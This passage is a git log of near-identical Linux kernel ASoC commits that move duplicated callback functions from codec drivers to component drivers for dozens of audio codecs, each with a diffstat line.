e21413cab309abdc315ece737f6dff86669884d3 Author: Kuninori Morimoto Date: Mon Aug 8 09:20:28 2016 +0000 ASoC: codec duplicated callback function goes to component on ml26124 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/ml26124.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit f9294a24ae392a59f283b37c821c8f21c2ce1ade Author: Kuninori Morimoto Date: Mon Aug 8 09:20:05 2016 +0000 ASoC: codec duplicated callback function goes to component on mc13783 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/mc13783.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit 3d19c93b7ef6fb76a35a58585df62f9e386a96c2 Author: Kuninori Morimoto Date: Mon Aug 8 09:19:48 2016 +0000 ASoC: codec duplicated callback function goes to component on max98926 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/max98926.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit 4a4339d947e8989aa4f81dbc1cf086a11dbeeb89 Author: Kuninori Morimoto Date: Mon Aug 8 09:19:29 2016 +0000 ASoC: codec duplicated callback function goes to component on max98925 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/max98925.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit e92b48aa21d41c64ae1a06d69b94c8dfaec9c672 Author: Kuninori Morimoto Date: Mon Aug 8 09:19:11 2016 +0000 ASoC: codec duplicated callback function goes to component on wm9867 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/max9867.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit 9d32d3dca9f377f8dbfb03413cea5af5482e412c Author: Kuninori Morimoto Date: Mon Aug 8 09:18:52 2016 +0000 ASoC: codec duplicated callback function goes to component on wm9850 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/max9850.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit b071a0bc0fdc03c4a97020ffcb5d529a02b3b564 Author: Kuninori Morimoto Date: Mon Aug 8 09:18:31 2016 +0000 ASoC: codec duplicated callback function goes to component on wm98357a codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/max98357a.c | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) commit 7fb49ebab0a1e50848466096a217bd8f0aa729eb Author: Kuninori Morimoto Date: Mon Aug 8 09:18:12 2016 +0000 ASoC: codec duplicated callback function goes to component on wm98095 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/max98095.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit b5cd19e8c3efda9f0b81c7420886b640ef82d223 Author: Kuninori Morimoto Date: Mon Aug 8 09:17:54 2016 +0000 ASoC: codec duplicated callback function goes to component on wm98088 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/max98088.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit 2f15de710b44e17fec58880492a2c79b37f09f02 Author: Kuninori Morimoto Date: Mon Aug 8 09:17:38 2016 +0000 ASoC: codec duplicated callback function goes to component on lm49453 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/lm49453.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit af15dc71b0c343279678af50543f6a64e84fb569 Author: Kuninori Morimoto Date: Mon Aug 8 09:17:19 2016 +0000 ASoC: codec duplicated callback function goes to component on jz4740 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/jz4740.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit 49e774807178c048d34602789f3342e545cc1605 Author: Kuninori Morimoto Date: Mon Aug 8 09:16:59 2016 +0000 ASoC: codec duplicated callback function goes to component on isabelle codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/isabelle.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit 88b0f761e296682f24639e9d9fc0122e7a7695c1 Author: Kuninori Morimoto Date: Mon Aug 8 09:16:40 2016 +0000 ASoC: codec duplicated callback function goes to component on hdmi-codec codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/hdmi-codec.c | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) commit a73b8e8955fe7660455aaa20e8452f5322793fab Author: Kuninori Morimoto Date: Mon Aug 8 09:16:22 2016 +0000 ASoC: codec duplicated callback function goes to component on dmic codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/dmic.c | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) commit b2fb9a6e5cf0ef6771f821507ccb5ca6efd9acad Author: Kuninori Morimoto Date: Mon Aug 8 09:16:04 2016 +0000 ASoC: codec duplicated callback function goes to component on da9055 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/da9055.c | 15 ++++++++------- 1 file changed, 8 insertions(+), 7 deletions(-) commit e7e8dda8b8a3dafd81c64f378c3a2d5cb71860df Author: Kuninori Morimoto Date: Mon Aug 8 09:15:48 2016 +0000 ASoC: codec duplicated callback function goes to component on da732x codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/da732x.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit b0d9df4dc5f3a690c460bb1bb0799ed85255448e Author: Kuninori Morimoto Date: Mon Aug 8 09:15:27 2016 +0000 ASoC: codec duplicated callback function goes to component on da7219 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/da7219.c | 15 ++++++++------- 1 file changed, 8 insertions(+), 7 deletions(-) commit 91985829cc198dad64b29980aef226e4af2f65c6 Author: Kuninori Morimoto Date: Mon Aug 8 09:15:10 2016 +0000 ASoC: codec duplicated callback function goes to component on da7218 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/da7218.c | 15 ++++++++------- 1 file changed, 8 insertions(+), 7 deletions(-) commit 92d2a233d878c4ddebad805ae4201e8ec335b3af Author: Kuninori Morimoto Date: Mon Aug 8 09:14:53 2016 +0000 ASoC: codec duplicated callback function goes to component on da7213 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/da7213.c | 15 ++++++++------- 1 file changed, 8 insertions(+), 7 deletions(-) commit 57329a3a419273e765f5654c3c8cad9266c5b6f2 Author: Kuninori Morimoto Date: Mon Aug 8 09:14:35 2016 +0000 ASoC: codec duplicated callback function goes to component on da7210 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/da7210.c | 15 ++++++++------- 1 file changed, 8 insertions(+), 7 deletions(-) commit a2c9c0f9729be9b0c5d410fd3f9ba2b335d5e868 Author: Kuninori Morimoto Date: Mon Aug 8 09:14:19 2016 +0000 ASoC: codec duplicated callback function goes to component on cx20442 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/cx20442.c | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) commit 295f08154cc07db27c75e0c0ac4af9890b87f85b Author: Kuninori Morimoto Date: Mon Aug 8 09:14:00 2016 +0000 ASoC: codec duplicated callback function goes to component on cs47l24 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/cs47l24.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit e9474dc634c76d047be84c3dd35bf81213d2d550 Author: Kuninori Morimoto Date: Mon Aug 8 09:13:44 2016 +0000 ASoC: codec duplicated callback function goes to component on alc5632 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/alc5632.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit af06ccaded87dc25c41714004a2d73bfeef0c922 Author: Kuninori Morimoto Date: Mon Aug 8 09:13:26 2016 +0000 ASoC: codec duplicated callback function goes to component on ak4671 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/ak4671.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit f303eb9e1e5d1c9c26cf85274324ce6a863da946 Author: Kuninori Morimoto Date: Mon Aug 8 09:13:06 2016 +0000 ASoC: codec duplicated callback function goes to component on ak4641 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/ak4641.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit 301810d0dfbcd1f56c552da6c9234db5003ec344 Author: Kuninori Morimoto Date: Mon Aug 8 09:12:48 2016 +0000 ASoC: codec duplicated callback function goes to component on ak4535 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/ak4535.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit 940b816f905eddf6c61db150b4833cd0c7eb61d8 Author: Kuninori Morimoto Date: Mon Aug 8 09:12:30 2016 +0000 ASoC: codec duplicated callback function goes to component on ads117x codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/ads117x.c | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) commit c5946fcf84bf71f4c0bc08a6bce3781e6b281737 Author: Kuninori Morimoto Date: Mon Aug 8 09:12:11 2016 +0000 ASoC: codec duplicated callback function goes to component on adav80x codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/adav80x.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit ef611e1f4ad7c0355a2aa97660210bfa4a4472c4 Author: Kuninori Morimoto Date: Mon Aug 8 09:11:55 2016 +0000 ASoC: codec duplicated callback function goes to component on adau1977 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/adau1977.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit dbd33b16d68bf3ff93fb7965a2e87878ee091e94 Author: Kuninori Morimoto Date: Mon Aug 8 09:11:36 2016 +0000 ASoC: codec duplicated callback function goes to component on adau1781 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/adau1781.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit c30ca68b9a8625e93c218374bad63c6babe85e3a Author: Kuninori Morimoto Date: Mon Aug 8 09:11:18 2016 +0000 ASoC: codec duplicated callback function goes to component on adau1761 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/adau1761.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit ed135dd69556c70fb780985c536cc650e7f7b450 Author: Kuninori Morimoto Date: Mon Aug 8 09:10:59 2016 +0000 ASoC: codec duplicated callback function goes to component on ab8500-codec codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/ab8500-codec.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit 72bb3cdf93b1718c9a540fb157890d8639633eca Author: Kuninori Morimoto Date: Mon Aug 8 09:10:41 2016 +0000 ASoC: codec duplicated callback function goes to component on atmel-pdmic codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/atmel/atmel-pdmic.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit 69295df090a03e406c54ca0dbd67a76355773138 Author: Kuninori Morimoto Date: Mon Aug 8 09:10:21 2016 +0000 ASoC: codec duplicated callback function goes to component on atmel-classd codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/atmel/atmel-classd.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit 33398b509aafe936ec57cb1023f7ff1ba9e48586 Author: Kuninori Morimoto Date: Mon Aug 8 09:10:02 2016 +0000 ASoC: codec duplicated callback function goes to component on 88pm860x-codec codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/88pm860x-codec.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit 1d09e8c35626ea0b899c1cd1922d8802bd169868 Author: Kuninori Morimoto Date: Mon Aug 8 09:09:43 2016 +0000 ASoC: codec duplicated callback function goes to component on ad193x codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/ad193x.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit 8a04dd67a380384549f6553049fd6c69ae0447ee Author: Kuninori Morimoto Date: Mon Aug 8 09:09:21 2016 +0000 ASoC: codec duplicated callback function goes to component on ad1836 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/ad1836.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit adfe0976aadb618acf130564d39e39ec0b0a5b90 Author: Kuninori Morimoto Date: Mon Aug 8 09:09:04 2016 +0000 ASoC: codec duplicated callback function goes to component on adau1373 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/adau1373.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit f95b81387cac798cf790b47cbb676e0fd8f87a6d Author: Kuninori Morimoto Date: Mon Aug 8 09:08:46 2016 +0000 ASoC: codec duplicated callback function goes to component on ad73311 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/ad73311.c | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) commit 05a0d2d497f91aa9657842484043c08e5aed8eb3 Author: Kuninori Morimoto Date: Mon Aug 8 09:08:24 2016 +0000 ASoC: codec duplicated callback function goes to component on ad1980 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/ad1980.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit eab73d01f6e3cb484280807be570e75734fca696 Author: Kuninori Morimoto Date: Mon Aug 8 09:08:06 2016 +0000 ASoC: codec duplicated callback function goes to component on ac97 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/ac97.c | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) commit 637591ecb4468c55489654b698319adb9fbfbe36 Author: Kuninori Morimoto Date: Mon Aug 8 09:07:47 2016 +0000 ASoC: codec duplicated callback function goes to component on adau1701 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/adau1701.c | 15 ++++++++------- 1 file changed, 8 insertions(+), 7 deletions(-) commit 7d9477e8e3f2ef6c8ca8103cca6fe9dbef300cd4 Author: Kuninori Morimoto Date: Mon Aug 8 09:07:29 2016 +0000 ASoC: codec duplicated callback function goes to component on adau7002 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/adau7002.c | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) commit 1cd5e361736664302285850a327d52ef7f70e74a Author: Kuninori Morimoto Date: Mon Aug 8 09:07:11 2016 +0000 ASoC: codec duplicated callback function goes to component on ak4104 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/ak4104.c | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) commit 08c0ca5ebd361420d40a4c6970e3dd1a4c64306a Author: Kuninori Morimoto Date: Mon Aug 8 09:06:52 2016 +0000 ASoC: codec duplicated callback function goes to component on ak4554 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/ak4554.c | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) commit beb84f75c4d9d069172f32543544d757d59e114b Author: Kuninori Morimoto Date: Mon Aug 8 09:06:34 2016 +0000 ASoC: codec duplicated callback function goes to component on ak4613 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/ak4613.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit 3a6ce00e2a5b85d558f051b709be9d1952bd7461 Author: Kuninori Morimoto Date: Mon Aug 8 09:06:14 2016 +0000 ASoC: codec duplicated callback function goes to component on ak4642 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/ak4642.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit 5bc4f738018ddcb86b7ac5894d4a9e416dbb65b0 Author: Kuninori Morimoto Date: Mon Aug 8 09:05:56 2016 +0000 ASoC: codec duplicated callback function goes to component on ak5386 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/ak5386.c | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) commit 24fe48d78be574dcd43bc5156f47d37757cfffbd Author: Kuninori Morimoto Date: Mon Aug 8 09:05:36 2016 +0000 ASoC: codec duplicated callback function goes to component on bt-sco codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/bt-sco.c | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) commit 1728f9d11f234df10c392f41a0ec80be287c4567 Author: Kuninori Morimoto Date: Mon Aug 8 09:05:18 2016 +0000 ASoC: codec duplicated callback function goes to component on cs35l32 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/cs35l32.c | 15 ++++++++------- 1 file changed, 8 insertions(+), 7 deletions(-) commit 133987d66418f09c1d9b010a4a6ae67fdd2d6214 Author: Kuninori Morimoto Date: Mon Aug 8 09:05:00 2016 +0000 ASoC: codec duplicated callback function goes to component on cs35l33 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/cs35l33.c | 15 ++++++++------- 1 file changed, 8 insertions(+), 7 deletions(-) commit 9f9dc779bca7eb24f0afc8929bf89a4c5cccccea Author: Kuninori Morimoto Date: Mon Aug 8 09:04:43 2016 +0000 ASoC: codec duplicated callback function goes to component on cs4265 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/cs4265.c | 15 ++++++++------- 1 file changed, 8 insertions(+), 7 deletions(-) commit f80894338e8793821f96db179cfc349d8057ffbc Author: Kuninori Morimoto Date: Mon Aug 8 09:04:25 2016 +0000 ASoC: codec duplicated callback function goes to component on cs4270 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/cs4270.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit 228a57aea80b5dfc4624ad29952a8168317a1884 Author: Kuninori Morimoto Date: Mon Aug 8 09:04:04 2016 +0000 ASoC: codec duplicated callback function goes to component on cs4271 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/cs4271.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit 9353d25dc8442784b1bc626cb2741965a1f53dad Author: Kuninori Morimoto Date: Mon Aug 8 09:03:45 2016 +0000 ASoC: codec duplicated callback function goes to component on cs42l51 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/cs42l51.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit 59aad18c027669bccfe6b3334c03dbec42c74a7d Author: Kuninori Morimoto Date: Mon Aug 8 09:03:26 2016 +0000 ASoC: codec duplicated callback function goes to component on cs42l52 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/cs42l52.c | 15 ++++++++------- 1 file changed, 8 insertions(+), 7 deletions(-) commit 561828f821c95c73177e5291e5831b909b400450 Author: Kuninori Morimoto Date: Mon Aug 8 09:03:06 2016 +0000 ASoC: codec duplicated callback function goes to component on cs42l56 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/cs42l56.c | 15 ++++++++------- 1 file changed, 8 insertions(+), 7 deletions(-) commit 951cd7e6ffda4dc86ed6fb6ff10e0ca8f3b67c2b Author: Kuninori Morimoto Date: Mon Aug 8 09:02:48 2016 +0000 ASoC: codec duplicated callback function goes to component on cs42l73 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/cs42l73.c | 15 ++++++++------- 1 file changed, 8 insertions(+), 7 deletions(-) commit 4d7ee73707ec0b3759039a1d573f7829f94046e7 Author: Kuninori Morimoto Date: Mon Aug 8 09:02:28 2016 +0000 ASoC: codec duplicated callback function goes to component on cs42xx8 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/cs42xx8.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit b9835ec4a7ebf508cea5e2b5955b830db0fffc5f Author: Kuninori Morimoto Date: Mon Aug 8 09:02:09 2016 +0000 ASoC: codec duplicated callback function goes to component on cs4349 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/cs4349.c | 15 ++++++++------- 1 file changed, 8 insertions(+), 7 deletions(-) commit cbe5cdbf0e07ea563def6dda7acc6d95817949a5 Author: Kuninori Morimoto Date: Mon Aug 8 09:01:49 2016 +0000 ASoC: codec duplicated callback function goes to component on cs53l30 codec driver and component driver has duplicated callback functions, and codec side functions are just copied to component side when register timing. This was quick-hack, but no longer needed. This patch moves these functions from codec driver to component driver. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/codecs/cs53l30.c | 15 ++++++++------- 1 file changed, 8 insertions(+), 7 deletions(-) commit 87869e4fadcaf6f4eac48bfb4a417720af8325a0 Author: Kuninori Morimoto Date: Mon Aug 8 09:01:30 2016 +0000 ASoC: codec duplicated callback function goes to component on 